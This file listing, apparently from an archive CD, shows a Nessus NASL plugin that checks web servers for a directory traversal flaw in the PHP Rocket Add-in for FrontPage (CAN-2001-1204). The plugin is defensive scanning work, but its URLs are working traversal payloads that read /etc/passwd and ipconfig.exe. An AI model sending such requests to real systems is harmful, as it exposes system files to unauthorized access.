home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / phprocketaddin_traversal.nasl < prev    next >
Text File  |  2005-03-31  |  3KB  |  118 lines

  1.  
  2.  
  3. #
  4. # This script was written by Drew Hintz ( http://guh.nu ) and Valeska Pederson
  5. # It is based on scripts written by Renaud Deraison and  HD Moore
  6. #
  7. # See the Nessus Scripts License for details
  8. #
  9.  
  10. if(description)
  11. {
  12.  script_id(10831); 
  13.  script_bugtraq_id(3751);
  14.  script_cve_id("CAN-2001-1204");
  15.  script_version("$Revision: 1.10 $");
  16.  name["english"] = "PHP Rocket Add-in File Traversal";
  17.  script_name(english:name["english"]);
  18.  
  19.  desc["english"] = "
  20. There is a vulnerability in the PHP Rocket Add-in for FrontPage 
  21. that allows a remote attacker to view the contents of any arbitrary 
  22. file to which the web user has access.  This vulnerability exists 
  23. because the PHP Rocket Add-in does not filter out ../ and is therefore 
  24. susceptible to this directory traversal attack.
  25.  
  26. More Information: http://www.securityfocus.com/bid/3751
  27.  
  28. Risk factor : High";
  29.  
  30.  script_description(english:desc["english"]);
  31.  
  32.  summary["english"] = "Looks for a directory traversal vulnerability in the PHP Rocket Add-in for FrontPage.";
  33.  
  34.  script_summary(english:summary["english"]);
  35.  script_category(ACT_GATHER_INFO);
  36.  script_copyright(english:"This script is Copyright (C) 2001 H D Moore & Drew Hintz ( http://guh.nu )");
  37.  family["english"] = "CGI abuses";
  38.  script_family(english:family["english"]);
  39.  script_dependencie("find_service.nes", "http_version.nasl");
  40.  script_require_ports("Services/www", 80);
  41.  exit(0);
  42. }
  43.  
  44.  
  45. include("http_func.inc");
  46.  
  47. port = get_http_port(default:80);
  48.  
  49. if(!get_port_state(port))exit(0);
  50. if(!can_host_php(port:port))exit(0);
  51. if(http_is_dead(port:port))exit(0);
  52.  
  53.  
  54. #check for vulnerable version running on *nix
  55.  
  56. function check(req)
  57. {
  58.  soc = http_open_socket(port);
  59.  if(soc)
  60.  {
  61.  req = http_get(item:req, port:port);
  62.  send(socket:soc, data:req);
  63.  r = http_recv(socket:soc);
  64.  
  65.  http_close_socket(soc);
  66.  pat = "root:"; #string returned by webserver if it's vulnerable
  67.  if(pat >< r) {
  68.    if(egrep(pattern:".*root:.*:0:[01]:.*", string:r)) {
  69.            security_hole(port:port);
  70.         exit(0);
  71.    } #end final if pattern match
  72.   } #ends outer if pattern match
  73.  } #ends outer if(soc)
  74.  return(0);
  75. } #ends function
  76.  
  77. url = string("/phprocketaddin/?page=../../../../../../../../../../../../../../../etc/passwd");
  78. if(check(req:url))exit(0);
  79.  
  80. url = string("/index.php?page=../../../../../../../../../../../../../../../etc/passwd");
  81. if(check(req:url))exit(0);
  82.  
  83.  
  84. #check for vulnerable version running on Windows
  85.  
  86.  
  87. function checkwin(req)
  88. {
  89.  soc = http_open_socket(port);
  90.  if(soc)
  91.  {
  92.  req = http_get(item:req, port:port);
  93.  send(socket:soc, data:req);
  94.  r = http_recv(socket:soc);
  95.  
  96.  http_close_socket(soc);
  97.  pat = "IP Configuration"; #string returned by webserver if it's vulnerable
  98.  
  99.  if(pat >< r) {
  100.        security_hole(port:port);
  101.     return(1);
  102.      }
  103.  }
  104.  return(0);
  105. }
  106.  
  107. url = string("/phprocketaddin/?page=../../../../../../../../../../../../../../../WINNT/system32/ipconfig.exe");
  108. if(checkwin(req:url))exit(0);
  109.  
  110. url = string("/index.php?page=../../../../../../../../../../../../../../../../../WINNT/system32/ipconfig.exe");
  111. if(checkwin(req:url))exit(0);
  112.  
  113.  
  114.  
  115.  
  116.  
  117.